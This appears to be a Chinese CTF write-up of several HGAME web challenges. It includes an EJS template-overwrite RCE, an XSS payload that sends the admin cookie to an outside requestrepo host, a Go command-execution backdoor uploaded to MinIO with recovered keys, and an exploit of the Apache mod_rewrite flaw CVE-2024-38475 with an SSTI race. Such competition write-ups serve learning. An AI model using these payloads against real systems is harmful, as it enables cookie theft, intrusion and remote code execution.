Level 24 Pacman
base64解密结果:
1 haeu4epca_4trgm {_r_amnmse}
一眼栅栏密码。
hgame{u_4re_pacman_m4ster}
Level 47 BandBomb 1 app.use ('/static' , express.static (path.join (__dirname, 'public' )));
这里的__dirname
是app,这里是把/app/public
目录暴露为静态路由。在/rename路由可以重命名文件,且能目录穿越。
这里访问/static/3.txt就能访问到我们上传的文件。
注意这几段代码:
1 2 3 4 5 6 7 8 9 10 11 app.set ('view engine' , 'ejs' ); app.get ('/' , (req, res ) => { ……………… fs.readdir (uploadsDir, (err, files ) => { if (err) { return res.status (500 ).render ('mortis' , { files : [] }); } res.render ('mortis' , { files : files }); }); });
这里使用ejs来渲染模版,模版默认是保存在/app/views/
目录下的,这里使用的模版文件名是mortis.ejs
,我们能上传任意文件,那么就能上传一个恶意模版文件,然后覆盖mortis.ejs
,来rce。
evil.ejs:
1 <% global.process.mainModule.require('child_process').execSync('env > ./public/env.txt').toString() %>
上传成功后,改名字:
1 { "oldName" : "evil.ejs" , "newName" : "../views/mortis.ejs" }
然后访问根目录触发rce,然后去访问/static/env.txt
hgame{av3_MuJlc@_H45_6ROkEN_up_buT-w3_H@V3_um1T4k145}
Level 69 MysteryMessageBoard
shallot/888888登录进来
是个留言板,很明显的XSS,还有个admin路由,访问一下admin就会来访问我们的留言。
1 <script > document .location ='http://rp1hua27.requestrepo.com?cookie=' +document .cookie </script >
把admin的cookie带出来。
但是admin那边好像不出网。只能让bot把cookie写到留言板里。
1 2 3 4 5 6 <script> var xhr = new XMLHttpRequest (); xhr.open ("POST" , "http://127.0.0.1:8888/" , true ); xhr.setRequestHeader ("Content-Type" , "application/x-www-form-urlencoded" ); xhr.send ("comment=" %2bdocument.cookie ); </script>
拿到admin的cookie:
1 MTczODY0 NDQ0 MXxEWDhFQVFMX2 dBQUJFQUVRQUFBbl80 QUFBUVp6 ZEhKcGJtY01 DZ0 FJZFhObGNtNWhiV1 VHYzNSeWFXNW5 EQWNBQldGa2 JXbHV83 HajkMlhB21 srwURtWa_U4 L3 G8 sr6 OyP9 -1 AfQ3 J7 DA=
然后去访问flag路由,拿到flag
hgame{W0w_y0u_5r4_9o0d_4t_xss}
Level 25 双面人派对 题目给了两个环境,第一个环境暂时访问不了,访问第二个,可以下载一个main文件。请re手逆向分析一下,得到以下内容:
1 2 access_key:minio_admin secret_key:JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=
同时得知系统是MinIO,要连接它,需要下载专门的程序。Minio Client
下载:https://dl.min.io/client/mc/release/
使用:https://www.cnblogs.com/panw/p/16801534.html
添加云储存服务:
1 mc config host add minio http://node2.hgame.vidar.club:31314 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs= --api s3v4
查看储存内容:
1 2 3 4 mc ls minio [2025-01-17 22:11:05 CST] 0B hints/ [2025-01-17 22:11:09 CST] 0B prodbucket/
发现有hints文件夹,进去看看:
1 2 3 mc ls minio/hints [2025-01-17 22:11:05 CST] 8.2KiB STANDARD src.zip
是源码,把它下载下来:
1 2 3 mc cp minio/hints/src.zip ./src.zip ...314/hints/src.zip: 8.24 KiB / 8.24 KiB [============================================================] 11.75 KiB/s 0s
看看源码:主要这里
1 2 3 4 5 6 7 8 import ( "level25/fetch" "level25/conf" "github.com/gin-gonic/gin" "github.com/jpillora/overseer" )
这里引用了overseer,而说明程序是热加载的,文件变更会自动重启。我们只需要重写一个main.go,加一个命令执行路由,update上去,就可以rce了。
修改后的main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package mainimport ( "fmt" "level25/fetch" "level25/conf" "github.com/gin-gonic/gin" "github.com/jpillora/overseer" "os/exec" )func main () { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, }) }func program (state overseer.State) { g := gin.Default() g.GET("/cmd" , func (c *gin.Context) { cmdParam := c.DefaultQuery("cmd" , "" ) if cmdParam == "" { c.JSON(400 , gin.H{"error" : "cmd parameter is required" }) return } cmd := exec.Command("sh" , "-c" , cmdParam) output, err := cmd.CombinedOutput() if err != nil { c.JSON(500 , gin.H{"error" : fmt.Sprintf("Command execution failed: %v" , err)}) return } c.JSON(200 , gin.H{"cmd" : cmdParam, "output" : string (output)}) }) g.StaticFS("/static" , gin.Dir("." , true )) g.Run(":8080" ) }
然后运行
生成一个名为update的二进制文件,然后上传上去覆盖update
1 mc cp ./update minio/prodbucket/update
稍微等一会,到web服务里就可以执行命令了。
flag{y0u-S4id_r1gHT-BuT_You-ShouLD_pl4y_G3NsH1n-iMpact1}
Level 38475 角落 有robots.txt,给了一个/app.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Include by httpd.conf <Directory "/usr/local/apache2/app"> Options Indexes AllowOverride None Require all granted </Directory> <Files "/usr/local/apache2/app/app.py"> Order Allow,Deny Deny from all </Files> RewriteEngine On RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/" RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" ProxyPass "/app/" "http://127.0.0.1:5000/"
重写规则 RewriteEngine On
配置块:
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
: 如果用户代理(即浏览器或客户端标识)包含 L1nk/
字符串,则执行以下重写规则。
RewriteRule "^/admin/(.\*)$" "/$1.html?secret=todo"
: 如果请求路径以 /admin/
开头,那么会将请求重定向到对应的 HTML 文件,并附加 ?secret=todo
查询参数。
如果我满足以上匹配规则,我访问/admin/xxx时候,Apache 会尝试在文件系统中查找 /xxx.html
文件。比如:访问 /admin/etc/xxx
返回 403,访问 /admin/et/xxx
返回 404,访问 /admin/bin/xxx
返回 403。
Apache 的文档根目录(DocumentRoot
)通常是 /usr/local/apache2/htdocs
或类似路径。访问/admin/usr/local/apache2/htdocs/index
,可以得到index.html的内容
https://www.tenablecloud.cn/plugins/nessus/201198
2.4.59 及更早版本的 Apache HTTP Server 中的 mod_rewrite 存在输出转义不当问题,导致攻击者可以将 URL 映射到允许服务器提供服务但不能通过任何 URL 有意/直接访问的文件系统位置,从而导致代码执行或源代码泄露。 服务器环境中使用向后引用或变量作为替换的第一段的替换会受到影响。一些不安全的 RewiteRules 会因此更改而中断,并且在确保适当限制替换后,可使用重写标记 UnsafePrefixStat 选择重新加入。(CVE-2024-38475)
https://www.aqtd.com/nd.jsp?id=6874
读源码的包:
1 2 GET http://node2.hgame.vidar.club:30796/admin/usr/local/apache2/app/app.py%3f HTTP/1.1 User-Agent : L1nk/
只需要在最后加一个%3f即可,这会把app.py后面的东西变成查询语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from flask import Flask, request, render_template, render_template_string, redirectimport osimport templates app = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msgdef readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status)@app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' ) @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host = '0.0.0.0' , port = 5000 )
这里是/send路由写东西,然后/read路由来渲染,但是有个readmsg函数会检查里面是否有{
,SSTI缺了{
是做不了的,写文件读文件可以用条件竞争来做。
一个rce包:
一个正常包:
一个执行包:
三个包同时发。
hgame{y0U_Find-the_kEy-t0_rrR4C3_oUuUUt20ca097}